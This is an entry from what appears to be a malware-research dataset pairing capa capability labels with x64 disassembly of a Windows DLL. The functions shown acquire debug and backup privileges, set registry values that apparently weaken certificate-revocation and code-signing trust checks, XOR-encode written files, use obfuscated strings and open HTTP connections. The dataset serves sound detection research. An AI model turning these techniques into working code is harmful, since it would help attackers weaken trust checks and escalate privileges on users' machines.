joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002410
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov ecx, 0x4080
mov rsi, r8
mov rdi, rdx
call fcn.180016980
mov qword [rbx], rax
test rax, rax
je 0x18000264c
test rdi, rdi
je 0x18000264c
test rsi, rsi
je 0x18000264c
lea rax, [rdi + 1]
mov qword [rbx + 0x30], rsi
mov byte [rbx + 0x38], 0
mov qword [rbx + 0x28], rax
movzx ecx, byte [rdi]
mov eax, 1
shl ax, cl
mov byte [rbx + 0x3a], cl
mov qword [rsp + 0x50], r12
xor r12d, r12d
mov word [rbx + 0x10], ax
inc ax
mov rcx, rbx
mov byte [rbx + 0x14], 0xff
mov word [rbx + 0x12], ax
mov dword [rbx + 0x44], r12d
mov dword [rbx + 0x48], r12d
mov dword [rbx + 0x50], r12d
call fcn.1800021b0
mov rcx, rbx
call fcn.180002220
mov si, ax
cmp ax, word [rbx + 0x12]
je 0x18000263f
movzx edi, word [rsp + 0x40]
mov qword [rsp + 0x48], rbp
mov ebp, 0xffff
cmp si, word [rbx + 0x10]
jne 0x18000258e
mov rcx, qword [rbx]
mov edx, 0xff
mov r8d, 0x4000
call fcn.18002de40
movzx edx, r12w
cmp r12w, word [rbx + 0x10]
jae 0x1800024f4
nop
mov rax, qword [rbx]
movzx ecx, dx
mov word [rax + rcx*4 + 2], dx
inc dx
cmp dx, word [rbx + 0x10]
jb 0x1800024e0
movzx eax, word [rbx + 0x12]
inc ax
mov word [rbx + 0x3c], ax
movzx eax, byte [rbx + 0x3a]
inc al
mov byte [rbx + 0x3b], al
nop dword [rax + rax]
movzx edi, byte [rbx + 0x38]
movzx eax, byte [rbx + 0x3b]
add edi, eax
cmp edi, 8
ja 0x180002528
mov rax, qword [rbx + 0x28]
movzx esi, byte [rax]
jmp 0x180002546
cmp edi, 0x10
ja 0x180002536
mov rax, qword [rbx + 0x28]
movzx esi, word [rax]
jmp 0x180002546
mov rax, qword [rbx + 0x28]
movzx esi, byte [rax + 2]
movzx eax, word [rax]
shl esi, 0x10
or esi, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
je 0x18000255a
mov eax, edi
shr rax, 3
add qword [rbx + 0x28], rax
movzx eax, dil
and al, 7
mov byte [rbx + 0x38], al
call qword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
je 0x180002576
mov ecx, 0x20
sub ecx, edi
shl esi, cl
movzx eax, byte [rbx + 0x3b]
mov ecx, 0x20
sub ecx, eax
shr esi, cl
cmp si, word [rbx + 0x10]
je 0x180002510
jmp 0x180002617
cmp si, word [rbx + 0x3c]
jae 0x1800025d9
mov r9, qword [rbx]
movzx eax, si
movzx ecx, si
shl rax, 2
cmp word [rax + r9], bp
je 0x1800025c3
nop dword [rax + rax]
movzx ecx, word [rax + r9]
mov rax, rcx
shl rax, 2
cmp word [r9 + rax], bp
jne 0x1800025b0
movzx eax, cx
movzx edx, di
mov rcx, rbx
movzx r8d, byte [r9 + rax*4 + 2]
call fcn.1800022c0
jmp 0x180002617
mov r8, qword [rbx]
movzx eax, di
movzx ecx, di
shl rax, 2
cmp word [rax + r8], bp
je 0x180002603
nop dword [rax]
movzx ecx, word [rax + r8]
mov rax, rcx
shl rax, 2
cmp word [rax + r8], bp
jne 0x1800025f0
movzx eax, cx
movzx edx, di
mov rcx, rbx
movzx r8d, byte [r8 + rax*4 + 2]
call fcn.1800022c0
movzx edx, si
mov rcx, rbx
call fcn.180002340
mov rcx, rbx
mov di, si
call fcn.180002220
mov si, ax
cmp ax, word [rbx + 0x12]
jne 0x1800024b6
mov rbp, qword [rsp + 0x48]
mov rcx, qword [rbx]
call fcn.1800169c4
mov r12, qword [rsp + 0x50]
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret
Function at 0x180002680
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1800026b3
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1800026f7
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x1800026f2
cmp rbx, r11
jae 0x1800026f7
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x1800026e0
cmp rbx, r11
jb 0x1800026fb
xor eax, eax
jmp 0x180002707
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180003c90
Capabilities:
Get file size
Read file on windows

Disassembly:
push rsi
push rdi
push r12
sub rsp, 0x50
mov rax, qword [0x180065480]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov rdi, rcx
mov rcx, qword [rcx]
mov r12, rdx
mov qword [rsp + 0x30], 0
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180003d85
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], rbp
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebp, eax
call fcn.18002d044
lea r9, [rsp + 0x40]
mov r8d, ebp
mov rcx, rsi
mov rdx, rax
mov qword [rsp + 0x20], 0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [r12], rbx
mov rdx, qword [rdi]
sub rdx, 0x18
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
mov rbx, qword [rsp + 0x80]
dec eax
test eax, eax
jg 0x180003d79
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, ebp
mov rbp, qword [rsp + 0x88]
jmp 0x180003da5
mov rdx, qword [rdi]
sub rdx, 0x18
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180003da3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18002bd00
add rsp, 0x50
pop r12
pop rdi
pop rsi
ret
Function at 0x180003e80
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0xb30
mov rax, qword [0x180065480]
xor rax, rsp
mov qword [rsp + 0xb20], rax
call fcn.180019bf0
lea rcx, [rsp + 0x321]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x320], 0
call fcn.18002de40
lea rcx, [rsp + 0x121]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x120], 0
call fcn.18002de40
call fcn.180002f70
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x20], 0
call fcn.18002de40
xor r9d, r9d
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x20]
lea r9, str.db.txt
lea r8, [rsp + 0x20]
repne scasb al, byte [rdi]
lea rdx, [0x180054158]
not rcx
cmp byte [rsp + rcx + 0x1e], 0x5c
lea rcx, [rsp + 0x120]
je 0x180003f43
lea rdx, [0x180054160]
call fcn.18002c690
lea rcx, [rsp + 0x120]
xor edx, edx
call fcn.18002d18c
xor ecx, ecx
lea rdi, [0x180000000]
test eax, eax
mov rax, qword [rdi + 0x54050]
lea rdx, str.x64_727
sete cl
mov dword [0x18006bcd4], ecx
lea rcx, [rsp + 0x320]
mov qword [rcx], rax
mov rax, qword [rdi + 0x54058]
mov qword [rcx + 8], rax
mov eax, dword [rdi + 0x54060]
mov dword [rcx + 0x10], eax
movzx eax, byte [rdi + 0x54064]
mov byte [rcx + 0x14], al
lea rcx, [rsp + 0x320]
call fcn.1800044f0
call fcn.1800041d0
mov rcx, qword [rdi + 0x54070]
lea rdx, [rsp + 0x320]
mov qword [rdx], rcx
mov rcx, qword [rdi + 0x54078]
mov qword [rdx + 8], rcx
mov ecx, dword [rdi + 0x54080]
mov dword [rdx + 0x10], ecx
movzx ecx, byte [rdi + 0x54084]
mov byte [rdx + 0x14], cl
lea rcx, [rsp + 0x320]
mov edx, eax
call fcn.1800044f0
mov eax, 1
mov rcx, qword [rsp + 0xb20]
xor rcx, rsp
call fcn.18002bd00
add rsp, 0xb30
pop rdi
ret

Function at 0x180004430
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x180065480]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rbx, rcx
mov rsi, rdx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x20], 0
call fcn.18002de40
xor r9d, r9d
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x20]
mov r9, rbx
lea r8, [rsp + 0x20]
repne scasb al, byte [rdi]
lea rdx, [0x180054158]
not rcx
cmp byte [rsp + rcx + 0x1e], 0x5c
mov rcx, rsi
je 0x1800044b5
lea rdx, [0x180054160]
call fcn.18002c690
mov eax, 1
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.18002bd00
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180006460
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x860
mov rax, qword [0x180065480]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rsi, rcx
mov rbx, r8
mov edi, edx
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x7ff
mov dword [rsp + 0x40], 0
mov byte [rsp + 0x50], 0
call fcn.18002de40
test edi, edi
je 0x1800064bc
mov rax, rsi
mov rdx, rdi
nop
xor byte [rax], 0xef
inc rax
sub rdx, 1
jne 0x1800064b0
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov edx, 0x40000000
lea r8d, [r9 + 1]
mov rcx, rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180006553
lea rcx, [0x180000000]
lea rdx, [rsp + 0x50]
mov rax, qword [rcx + 0x543c8]
mov qword [rdx], rax
mov rax, qword [rcx + 0x543d0]
mov qword [rdx + 8], rax
mov rax, qword [rcx + 0x543d8]
mov qword [rdx + 0x10], rax
mov rax, qword [rcx + 0x543e0]
mov qword [rdx + 0x18], rax
movzx eax, byte [rcx + 0x543e8]
mov byte [rdx + 0x20], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x50]
mov r8d, eax
mov edx, 0x517
call fcn.1800044f0
xor eax, eax
jmp 0x1800065f2
mov edx, edi
mov rcx, rsi
call fcn.180006160
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp edi, dword [rsp + 0x40]
je 0x1800065e4
lea rcx, [0x180000000]
lea rdx, [rsp + 0x50]
mov rax, qword [rcx + 0x543f0]
mov qword [rdx], rax
mov rax, qword [rcx + 0x543f8]
mov qword [rdx + 8], rax
mov rax, qword [rcx + 0x54400]
mov qword [rdx + 0x10], rax
mov eax, dword [rcx + 0x54408]
mov dword [rdx + 0x18], eax
movzx eax, byte [rcx + 0x5440c]
mov byte [rdx + 0x1c], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x50]
mov r8d, eax
mov edx, 0x527
call fcn.1800044f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1800065f2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.18002bd00
add rsp, 0x860
pop rdi
pop rsi
pop rbx
ret
Function at 0x180006db0
Capabilities:
Acquire debug privileges
Check os version

Disassembly:
sub rsp, 0x8d8
mov rax, qword [0x180065480]
xor rax, rsp
mov qword [rsp + 0x8c0], rax
lea rcx, [rsp + 0xc1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0xc0], 0
call fcn.18002de40
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x94
call fcn.18002de40
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [rsp + 0x24]
cmp edx, 5
jbe 0x180006e3c
lea rcx, str.SeDebugPrivilege
call fcn.180006c10
lea rcx, str.SeRestorePrivilege
call fcn.180006c10
lea rcx, str.SeBackupPrivilege
call fcn.180006c10
mov edx, dword [rsp + 0x24]
mov rax, qword [str.gJzPmYqdnIaAgc_Ki8HKiw]
mov r8d, dword [rsp + 0x28]
lea rcx, [rsp + 0xc0]
mov qword [rcx], rax
mov rax, qword [0x1800545b8]
mov qword [rcx + 8], rax
mov rax, qword [0x1800545c0]
mov qword [rcx + 0x10], rax
movzx eax, byte [0x1800545c8]
mov byte [rcx + 0x18], al
lea rcx, [rsp + 0xc0]
call fcn.1800044f0
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x8c0]
xor rcx, rsp
call fcn.18002bd00
add rsp, 0x8d8
ret
Function at 0x180007020
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x10
xor esi, esi
mov r15d, r9d
mov r12, r8
movsxd rbp, edx
mov r13, rcx
mov r10, rsi
mov rdi, rsi
test edx, edx
je 0x18000722e
mov ebx, 3
lea r11d, [rsi + 4]
mov r9d, ebp
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
nop dword [rax + rax]
cmp ebx, ebp
jg 0x180007107
cmp r11d, r15d
jg 0x18000724d
movzx eax, byte [r10 + r13]
add ebx, 3
sub r9d, 3
shr rax, 2
add r10, 3
add esi, 4
movzx eax, byte [rax + r8]
add r11d, 4
mov byte [rdi + r12], al
movzx eax, byte [r10 + r13 - 3]
and eax, 3
shl eax, 4
movsxd rcx, eax
movzx eax, byte [r10 + r13 - 2]
shr rax, 4
or rcx, rax
movzx eax, byte [rcx + r8]
mov byte [rdi + r12 + 1], al
movzx eax, byte [r10 + r13 - 2]
and eax, 0xf
shl eax, 2
movsxd rcx, eax
movzx eax, byte [r10 + r13 - 1]
shr eax, 6
or rcx, rax
movzx eax, byte [rcx + r8]
mov byte [rdi + r12 + 2], al
movzx eax, byte [r10 + r13 - 1]
and eax, 0x3f
add rdi, 4
movzx eax, byte [rax + r8]
mov byte [rdi + r12 - 1], al
cmp r9d, 2
jne 0x1800071a0
movzx edx, byte [r10 + r13]
movzx ecx, byte [r10 + r13 + 1]
xor eax, eax
mov word [rsp + 1], ax
mov rax, rdx
add ebx, r9d
shr rax, 2
add r10, 2
add esi, 4
movzx eax, byte [rax + r8]
mov r8d, ecx
sub r9d, r9d
mov byte [rdi + r12], al
mov eax, edx
movzx edx, byte [rsp + 2]
and eax, 3
add r11d, 4
shl eax, 4
movsxd rcx, eax
mov eax, r8d
and r8d, 0xf
shr eax, 4
shl r8d, 2
or rcx, rax
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movzx eax, byte [rcx + rax]
movsxd rcx, r8d
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov byte [rdi + r12 + 1], al
mov rax, rdx
shr rax, 6
or rcx, rax
add rdi, 4
movzx eax, byte [rcx + r8]
mov byte [rdi + r12 - 2], al
mov byte [rdi + r12 - 1], 0x3d
cmp r9d, 1
jne 0x180007225
movzx ecx, byte [r10 + r13]
xor eax, eax
inc ebx
mov word [rsp + 0x49], ax
movzx edx, byte [rsp + 0x49]
mov rax, rcx
shr rax, 2
dec r9d
inc r10
movzx eax, byte [rax + r8]
add esi, 4
add r11d, 4
mov byte [rdi + r12], al
mov eax, ecx
and eax, 3
shl eax, 4
movsxd rcx, eax
mov eax, edx
and edx, 0xf
shr eax, 4
shl edx, 2
or rcx, rax
movzx eax, byte [rcx + r8]
movsxd rcx, edx
movzx edx, byte [rsp + 0x4a]
mov byte [rdi + r12 + 1], al
mov rax, rdx
shr rax, 6
or rcx, rax
add rdi, 4
movzx eax, byte [rcx + r8]
mov byte [rdi + r12 - 2], al
mov byte [rdi + r12 - 1], 0x3d
mov byte [rdi + r12 - 2], 0x3d
cmp r10, rbp
jne 0x180007070
mov eax, esi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x10
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
or eax, 0xffffffff
jmp 0x180007230
Function at 0x180013090
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x180065480]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [rsp + 0x61]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7ff
mov dword [rsp + 0x58], ebx
call fcn.18002de40
lea rcx, [rsp + 0x60]
lea rdx, str.Jgc5LDhNXQ5eAs_Vz7yAiZuYjp2Ks7OihoydgJyAiZuzs7iGgYuAmJyzs6yanZ2KgZu5ip2choCBs7OmgZuKnYGKm88ipubhoGInA
lea r8d, [rbx + 0x69]
call fcn.18002f550
lea rcx, [rsp + 0x60]
call fcn.1800044f0
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, eax
test eax, eax
je 0x180013191
lea rdx, [0x180000000]
lea r8, [rsp + 0x60]
mov rcx, qword [rdx + 0x544b8]
mov rax, qword [rdx + 0x544d8]
mov qword [r8], rcx
mov rcx, qword [rdx + 0x544c0]
mov qword [r8 + 8], rcx
mov rcx, qword [rdx + 0x544c8]
mov qword [r8 + 0x10], rcx
mov rcx, qword [rdx + 0x544d0]
mov qword [r8 + 0x18], rcx
mov qword [r8 + 0x20], rax
movzx eax, byte [rdx + 0x544e0]
mov byte [r8 + 0x28], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x60]
mov r9d, ebx
mov edx, 0xd90
mov r8d, eax
call fcn.1800044f0
xor eax, eax
jmp 0x18001324b
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
lea rdx, str.CertificateRevocation
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
test eax, eax
je 0x18001323b
lea rdx, [0x180000000]
lea r8, [rsp + 0x60]
mov rcx, qword [rdx + 0x544e8]
mov rax, qword [rdx + 0x54508]
mov qword [r8], rcx
mov rcx, qword [rdx + 0x544f0]
mov qword [r8 + 8], rcx
mov rcx, qword [rdx + 0x544f8]
mov qword [r8 + 0x10], rcx
mov rcx, qword [rdx + 0x54500]
mov qword [r8 + 0x18], rcx
mov qword [r8 + 0x20], rax
movzx eax, byte [rdx + 0x54510]
mov byte [r8 + 0x28], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x60]
mov r9d, ebx
mov edx, 0xd99
mov r8d, eax
call fcn.1800044f0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x18001324b
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.18002bd00
add rsp, 0x870
pop rbx
ret
Function at 0x180013270
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x180065480]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x7ff
mov dword [rsp + 0x58], 0x23e00
call fcn.18002de40
lea rcx, [rsp + 0x60]
lea rdx, str.Jgc5LDhNXQ5eAs_Vz7yAiZuYjp2Ks7OihoydgJyAiZuzs7iGgYuAmJyzs6yanZ2KgZu5ip2choCBs7O4hoG7nZqcm7Ozu52anJvPv52AmYaLip2cs7O8gImbmI6dis_mo2DhpyHhoGI
mov r8d, 0x8d
call fcn.18002f550
lea rcx, [rsp + 0x60]
call fcn.1800044f0
xor r11d, r11d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], r11
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r11
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionWinTrustTrust_ProvidersSoftware_Publishing
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], r11d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, eax
test eax, eax
je 0x180013379
lea rdx, [0x180000000]
lea r8, [rsp + 0x60]
mov rcx, qword [rdx + 0x544b8]
mov rax, qword [rdx + 0x544d8]
mov qword [r8], rcx
mov rcx, qword [rdx + 0x544c0]
mov qword [r8 + 8], rcx
mov rcx, qword [rdx + 0x544c8]
mov qword [r8 + 0x10], rcx
mov rcx, qword [rdx + 0x544d0]
mov qword [r8 + 0x18], rcx
mov qword [r8 + 0x20], rax
movzx eax, byte [rdx + 0x544e0]
mov byte [r8 + 0x28], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x60]
mov r9d, ebx
mov edx, 0xdba
mov r8d, eax
call fcn.1800044f0
xor eax, eax
jmp 0x180013433
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
lea rdx, str.State
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
test eax, eax
je 0x180013423
lea rdx, [0x180000000]
lea r8, [rsp + 0x60]
mov rcx, qword [rdx + 0x544e8]
mov rax, qword [rdx + 0x54508]
mov qword [r8], rcx
mov rcx, qword [rdx + 0x544f0]
mov qword [r8 + 8], rcx
mov rcx, qword [rdx + 0x544f8]
mov qword [r8 + 0x10], rcx
mov rcx, qword [rdx + 0x54500]
mov qword [r8 + 0x18], rcx
mov qword [r8 + 0x20], rax
movzx eax, byte [rdx + 0x54510]
mov byte [r8 + 0x28], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x60]
mov r9d, ebx
mov edx, 0xdc2
mov r8d, eax
call fcn.1800044f0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x180013433
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.18002bd00
add rsp, 0x870
pop rbx
ret
Function at 0x180018058
Capabilities:
Create http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and dword [rcx + 0x20], 0
and qword [rcx + 0x18], 0
lea rax, vtable.CInternetSession.0
mov qword [rcx], rax
mov edi, r9d
mov r10, rdx
mov rbx, rcx
mov qword [rcx + 8], r8
test rdx, rdx
jne 0x180018090
call fcn.18001de34
mov r10, qword [rax + 0x20]
mov eax, dword [rsp + 0x70]
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x60]
mov edx, edi
mov rcx, r10
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x1800180c5
mov rcx, qword [rbx + 8]
xor edx, edx
call fcn.180017fc8
int3
lea rcx, [0x180066fe8]
call fcn.1800179b0
lea rcx, [0x180066fb0]
mov rdx, rdi
call fcn.1800277b8
lea rcx, [0x180066fe8]
mov qword [rax], rbx
mov rax, qword [0x180066fe8]
call qword [rax + 0x28]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180019144
Capabilities:
Connect to http server

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
movzx ebx, r9w
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
mov rax, qword [rsp + 0x90]
mov qword [r11 - 0x38], rax
call fcn.1800190e0
nop
lea rax, vtable.CHttpConnection.0
mov qword [rdi], rax
call fcn.180019554
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x1800191ad
mov ecx, 0x80004005
call fcn.180002660
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rdi + 0x30], rax
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x80]
movzx r8d, bx
mov rdx, rsi
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rsi, rax
mov qword [rdi + 8], rax
test rax, rax
jne 0x180019212
xor edx, edx
mov rcx, qword [rdi + 0x10]
call fcn.180017fc8
int3
mov rbx, qword [rdi + 0x18]
lea rcx, [0x180066fe8]
call fcn.1800179b0
mov rdx, rsi
lea rcx, [0x180066fb0]
call fcn.1800277b8
mov qword [rax], rbx
lea rcx, [0x180066fe8]
mov rax, qword [0x180066fe8]
call qword [rax + 0x28]
nop
mov rax, rdi
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x180020648
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.180026a48
mov rsi, rax
test rax, rax
je 0x1800206c4
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x1800206bf
cmp dword [rbx], 0x40
jb 0x1800206bf
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x1800206bf
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x1800206c8
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18002d0fc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x18002d136
call fcn.18002f188
and dword [rax], 0
call fcn.18002f168
and qword [rsp + 0x20], 0
mov ebx, socket
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.180031a30
mov eax, ebx
jmp 0x18002d186
test edx, 0xfffffff9
jne 0x18002d109
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x18002d15f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.18002f1a8
call fcn.18002f168
mov eax, dword [rax]
jmp 0x18002d186
test al, 0x10
jne 0x18002d184
test al, 1
je 0x18002d184
test bl, 2
je 0x18002d184
